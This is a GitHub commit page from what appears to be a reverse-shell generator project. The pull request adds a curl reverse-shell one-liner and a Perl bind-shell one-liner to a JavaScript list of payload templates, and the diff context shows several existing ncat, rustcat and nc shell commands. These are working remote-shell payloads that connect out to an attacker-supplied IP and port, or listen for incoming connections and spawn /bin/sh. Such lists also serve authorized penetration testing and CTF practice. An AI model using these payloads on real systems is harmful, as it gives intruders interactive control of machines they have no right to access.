Skip to content

Commit

Permalink
Merge pull request #146 from cosad3s/main
Browse files Browse the repository at this point in the history
Add Perl bind shell
Add curl reverse shell
  • Loading branch information
0dayCTF authored Oct 11, 2023
2 parents c6528c8 + 049ce74 commit 56c54f9
Showing 1 changed file with 10 additions and 0 deletions.
10 changes: 10 additions & 0 deletions js/data.js
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,11 @@ const reverseShellCommands = withCommandType(
"command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u {ip} {port} >/tmp/f",
"meta": ["linux", "mac"]
},
{
"name": "curl",
"command": "C='curl -Ns telnet://{ip}:{port}'; $C </dev/null 2>&1 | {shell} 2>&1 | $C >/dev/null",
"meta": ["linux", "mac"]
},
{
"name": "rustcat",
"command": "rcat connect -s {shell} {ip} {port}",
Expand Down Expand Up @@ -398,6 +403,11 @@ const bindShellCommands = withCommandType(
"command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f",
"meta": ["bind", "mac", "linux"]
},
{
"name": "Perl Bind",
"command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'",
"meta": ["bind", "mac", "linux"]
},
]
);

Expand Down

0 comments on commit 56c54f9

Please sign in to comment.